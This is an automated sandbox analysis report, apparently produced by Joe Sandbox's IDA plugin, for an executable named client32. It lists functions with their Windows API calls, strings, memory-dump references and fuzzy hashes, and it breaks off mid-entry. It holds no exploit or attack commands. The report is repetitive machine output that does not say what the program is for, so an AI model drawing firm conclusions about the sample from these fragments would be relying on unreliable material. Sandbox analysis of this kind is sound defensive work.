Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 312bc41d0c80e05ecd2e77a132ac577f729ffb3f5c645a3c4c1f69d055c1a107
Instruction ID: 156f0d79109f07c40c4ac8670e692553d53260d930ebdb42a1d89f925a608cc0
Opcode Fuzzy Hash: 312bc41d0c80e05ecd2e77a132ac577f729ffb3f5c645a3c4c1f69d055c1a107
Instruction Fuzzy Hash: 9811947AF0022767D2116FB06C89B6FBA18AF8561DF104038FA1B85581EF24A94483F3

Function 1115AB80 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115ABA8
GetLastError.KERNEL32 ref: 1115ABB5
wsprintfA.USER32 ref: 1115ABC8

Part of subcall function 110290F0: GetLastError.KERNEL32(?,?), ref: 1102910C
Part of subcall function 110290F0: wsprintfA.USER32 ref: 11029157
Part of subcall function 110290F0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029193
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 110291A9

Part of subcall function 110290F0: _strrchr.LIBCMT ref: 110291E5
Part of subcall function 110290F0: ExitProcess.KERNEL32 ref: 11029224

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115AC0C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115AC19

Strings

m_aProp, xrefs: 1115ABFA
..\ctl32\wndclass.cpp, xrefs: 1115ABD9, 1115ABF5
GlobalAddAtom failed, e=%d, xrefs: 1115ABC2
NSMWndClass, xrefs: 1115ABA0
NSMReflect, xrefs: 1115AC07
NSMDropTarget, xrefs: 1115AC0E

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: 60df89256fdbe4fb07ae3e45b32be970c36e3097d10c8cf2f3f63e8d74a38f38
Instruction ID: 447bd79fb7e316194c8fbcf3240c79f01d8f25fe8b238cd57140670aacafd43f
Opcode Fuzzy Hash: 60df89256fdbe4fb07ae3e45b32be970c36e3097d10c8cf2f3f63e8d74a38f38
Instruction Fuzzy Hash: 7811C475D01319AFC720EFFA9DC09AAF7B8FF01319B40462EE56653540EA7095408B5A

Function 1110D060 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C420: wsprintfA.USER32 ref: 1110C454
Part of subcall function 1110C420: _memset.LIBCMT ref: 1110C477

std::exception::exception.LIBCMT ref: 1110D0CA
__CxxThrowException@8.LIBCMT ref: 1110D0DF
GetCurrentThreadId.KERNEL32 ref: 1110D0F6
InitializeCriticalSection.KERNEL32(-00000010,?,000000FF,?,11026F57,00000001,000003F0), ref: 1110D109
InitializeCriticalSection.KERNEL32(111EC8A0,?,000000FF,?,11026F57,00000001,000003F0), ref: 1110D118
EnterCriticalSection.KERNEL32(111EC8A0,?,000000FF,?,11026F57), ref: 1110D12C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,000000FF,?,11026F57), ref: 1110D152
LeaveCriticalSection.KERNEL32(111EC8A0,?,000000FF,?,11026F57), ref: 1110D1DF

Strings

..\ctl32\Refcount.cpp, xrefs: 1110D166
QueueThreadEvent, xrefs: 1110D16B

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 144328431-1024648535
Opcode ID: ec2df561275c0d64ba6d257a16c8b5c35912085c7d85a207c9b9c2d87efd88b9
Instruction ID: 09a7b7f2a39b786243c3074fc4a04aff0e2c3ee4e0c0e7a142bf3ec4b628a9f7
Opcode Fuzzy Hash: ec2df561275c0d64ba6d257a16c8b5c35912085c7d85a207c9b9c2d87efd88b9
Instruction Fuzzy Hash: F941C075E01315ABDB12CFA98D84BAEFBE4FB88718F54852AE819D3244E731A5008B51

Function 11158220 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,DC70C1FE,?,00000000,00000001), ref: 11158267
CoCreateInstance.OLE32(111C06FC,00000000,00000017,111C062C,?), ref: 11158287
wsprintfW.USER32 ref: 111582A7
SysAllocString.OLEAUT32(?), ref: 111582B3
wsprintfW.USER32 ref: 11158367
SysFreeString.OLEAUT32(?), ref: 11158408

Strings

root\CIMV2, xrefs: 111582A1
WQL, xrefs: 11158380
SELECT * FROM %s, xrefs: 11158361

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 201d508ae0e233346d067116be793b91e5c0e3a726f34fbff0a0ba0680b7bfee
Instruction ID: 5c9d69ea3c7034288904af0a1b42e56c7497ab7ebaebdabd712d66f14354dd8e
Opcode Fuzzy Hash: 201d508ae0e233346d067116be793b91e5c0e3a726f34fbff0a0ba0680b7bfee
Instruction Fuzzy Hash: 3A517071B00219AFD7A0DB69CC94F9BF7B9FB8A714F1042A9E819D7251D630AE40CF51

Function 11112B00 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 182librarycomloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11112B55
CoCreateInstance.OLE32(111BBF3C,00000000,00000001,111BBF4C,00000000,?,00000000,Client,silent,00000000,00000000,?,1104B1EB), ref: 11112B6F
LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000000,Client,silent,00000000,00000000), ref: 11112B94
GetProcAddress.KERNEL32(00000000,SHGetSettings), ref: 11112BA6
SHGetSettings.SHELL32(?,00000200,?,00000000,Client,silent,00000000,00000000), ref: 11112BB9
FreeLibrary.KERNEL32(00000000,?,00000000,Client,silent,00000000,00000000), ref: 11112BC5
CoUninitialize.COMBASE(00000000), ref: 11112C61

Strings

SHGetSettings, xrefs: 11112BA0
SHELL32.DLL, xrefs: 11112B85

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInitializeInstanceLoadProcSettingsUninitialize
String ID: SHELL32.DLL$SHGetSettings
API String ID: 4195908086-2348320231
Opcode ID: 28dcea0cc7f8a025214f6af9fd2057e380903a455cb1bbc279c23e6119f70c8b
Instruction ID: 68fa62bcea783be6e527966318309be417962e86cfe8c7ca8d2a125abe7bdbbc
Opcode Fuzzy Hash: 28dcea0cc7f8a025214f6af9fd2057e380903a455cb1bbc279c23e6119f70c8b
Instruction Fuzzy Hash: 00515DB5A002169FDB04DFE5C9C4AEFFBB9FF88304F218569E615AB244D730A941CB61

Function 685A2F80 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 685A2FBB
GetTickCount.KERNEL32 ref: 685A300D
InterlockedExchange.KERNEL32(?,00000000), ref: 685A301B
_calloc.LIBCMT ref: 685A303B
_memmove.LIBCMT ref: 685A3049
InterlockedDecrement.KERNEL32(?), ref: 685A307F
SetEvent.KERNEL32(00000300,?,?,?,?,?,?,?,?,?,?,?,?,?,?,97A234B3), ref: 685A308C

Part of subcall function 685A28D0: wsprintfA.USER32 ref: 685A2965

Strings

a3Zh, xrefs: 685A2F87, 685A2FEB, 685A3021, 685A2FEE, 685A3043, 685A305A, 685A3099
a3Zh, xrefs: 685A2FE0, 685A2FE3

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked_calloc$CountDecrementEventExchangeTick_memmovewsprintf
String ID: a3Zh$a3Zh
API String ID: 3178096747-1469771974
Opcode ID: c3b386c5d1f3d419a61cc250ec1f38c9d0b35944b3ff5a5a76c454e13496c827
Instruction ID: 34c56f1df615941f22e7a00de43ead90c8a12db29b9b1b45dd867d994322e2e9
Opcode Fuzzy Hash: c3b386c5d1f3d419a61cc250ec1f38c9d0b35944b3ff5a5a76c454e13496c827
Instruction Fuzzy Hash: 104137B5D00209AFDB10DFA5D885AEFB7F8FF88304F408516E915E7240E7759A458BA1

Function 685B0D40 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(IPHLPAPI.DLL,00000000,685B0F2B,D2711BC8,00000000,?,?,685CF278,000000FF,?,6859AE0A,?,00000000,?,00000080), ref: 685B0D48
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 685B0D5B
GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,?,?,-685DCB4C,?,?,685CF278,000000FF,?,6859AE0A,?,00000000,?,00000080), ref: 685B0D76
_malloc.LIBCMT ref: 685B0D8C

Part of subcall function 685B1B69: __FF_MSGBANNER.LIBCMT ref: 685B1B82
Part of subcall function 685B1B69: __NMSG_WRITE.LIBCMT ref: 685B1B89
Part of subcall function 685B1B69: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,685BD3C1,685B6E81,00000001,685B6E81,?,685BF447,00000018,685D7738,0000000C,685BF4D7), ref: 685B1BAE

GetAdaptersAddresses.IPHLPAPI(00000002,00000000,00000000,00000000,?,?,?,?,?,685CF278,000000FF,?,6859AE0A,?,00000000,?), ref: 685B0D9F
_free.LIBCMT ref: 685B0D84

Part of subcall function 685B1BFD: HeapFree.KERNEL32(00000000,00000000), ref: 685B1C13
Part of subcall function 685B1BFD: GetLastError.KERNEL32(00000000), ref: 685B1C25

_free.LIBCMT ref: 685B0DAF

Strings

GetAdaptersAddresses, xrefs: 685B0D55
IPHLPAPI.DLL, xrefs: 685B0D41

Memory Dump Source

Source File: 00000007.00000002.4143511671.0000000068591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 68590000, based on PE: true

Associated: 00000007.00000002.4143492483.0000000068590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143550370.00000000685D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143575543.00000000685D9000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DA000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143596259.00000000685DE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000007.00000002.4143640100.00000000685E0000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_68590000_client32.jbxd

Yara matches

Similarity

API ID: AdaptersAddressesHeap_free$AddressAllocErrorFreeLastLibraryLoadProc_malloc
String ID: GetAdaptersAddresses$IPHLPAPI.DLL
API String ID: 3205077458-1843585929
Opcode ID: d38ab780ef2e912bf0d72464333493c62ccf4099683defa28576c285d3f5d225
Instruction ID: 42ad6cadc272536a2ff2776ff80aeab67ed087ff2e94416cc8d5ca3a43c0c877
Opcode Fuzzy Hash: d38ab780ef2e912bf0d72464333493c62ccf4099683defa28576c285d3f5d225
Instruction Fuzzy Hash: 7501D4B5240341AFE6209B709D94F6B77ACAB50B00F50481DF9669B2C0EA71F840C724

Function 11141AB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 111419A0: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?), ref: 11141A10
Part of subcall function 111419A0: RegCloseKey.ADVAPI32(?), ref: 11141A74

_memset.LIBCMT ref: 11141AF5
GetVersionExA.KERNEL32(?), ref: 11141B0E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 11141B35
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11141B47
FreeLibrary.KERNEL32(00000000), ref: 11141B5F
GetSystemDefaultLangID.KERNEL32 ref: 11141B6A

Strings

kernel32.dll, xrefs: 11141B20
GetUserDefaultUILanguage, xrefs: 11141B41

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: f4403c578d20b82e01fbdbd50243d795ec373803681fb6755249e61f6e885c6b
Instruction ID: b52f9434772b6d6e8d8038633bf4c77d33c7f8479cfcef56ad60021fb0ce4fde
Opcode Fuzzy Hash: f4403c578d20b82e01fbdbd50243d795ec373803681fb6755249e61f6e885c6b
Instruction Fuzzy Hash: BE31E331F006268BD7119FB5C984BAEF7B0EB05718FA04575E928C3680E7346985CB92

Function 110151F0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110152AA
_memset.LIBCMT ref: 110152EE
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015328

Strings

SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101522B
%012d, xrefs: 110152A4
PackedCatalogItem, xrefs: 11015312
NSLSP, xrefs: 11015338

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 13c1aca20664a4fc0e133d793f1d669f9232a02ffdca666f732179c289691334
Instruction ID: 40dd4717f0c7ad5754e433c7b85868c8d74bcde588045e86a78ebe46af68b9ce
Opcode Fuzzy Hash: 13c1aca20664a4fc0e133d793f1d669f9232a02ffdca666f732179c289691334
Instruction Fuzzy Hash: 01418F75D022299EEB11DF50CC94BEEF7B4EB45318F0445E8E91AA7281EB34AB44CF51

Function 1100FF90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FFBD
std::_Lockit::_Lockit.LIBCPMT ref: 1100FFE0
std::bad_exception::bad_exception.LIBCMT ref: 11010064
__CxxThrowException@8.LIBCMT ref: 11010072
std::_Lockit::_Lockit.LIBCPMT ref: 11010085
std::locale::facet::_Facet_Register.LIBCPMT ref: 1101009F

Strings

bad cast, xrefs: 1101005C

Memory Dump Source

Source File: 00000007.00000002.4142920380.0000000011001000.00000020.00000001.01000000.0000000B.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4142900455.0000000011000000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143045081.000000001118F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143093821.00000000111DD000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143117754.00000000111EC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111F2000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.00000000111FC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011222000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011229000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001123D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001124C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011250000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011252000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001127E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.000000001135E000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.4143137803.0000000011360000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: b91949114c5cc0d56ba0394389beafb177cfa03f8955ddf8c17424d389eecb5f
Instruction ID: eb2297de3126562b7a6adfe99aab1db74979c6a8f9cac3cb144437a799ef2362
Opcode Fuzzy Hash: b91949114c5cc0d56ba0394389beafb177cfa03f8955ddf8c17424d389eecb5f
Instruction Fuzzy Hash: B631E635E002658FCB52CF94C880BAEF7B4FB0536CF404269E865AB298DB75AD00CB91

Function 685A6940 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 685A6950

Part of subcall function 685A7BE0: _memset.LIBCMT ref: 685A7BFF
Part of subcall function 685A7BE0: _strncpy.LIBCMT ref: 685A7C0B

Part of subcall function 6859A4E0: EnterCriticalSection.KERNEL32(685DB898,00000000,?,?,?,6859DA7F,?,00000000), ref: 6859A503
Part of subcall function 6859A4E0: InterlockedExchange.KERNEL32(?,00000000), ref: 6859A568
Part of subcall function 6859A4E0: Sleep.KERNEL32(00000000,?,6859DA7F,?,00000000), ref: 6859A581
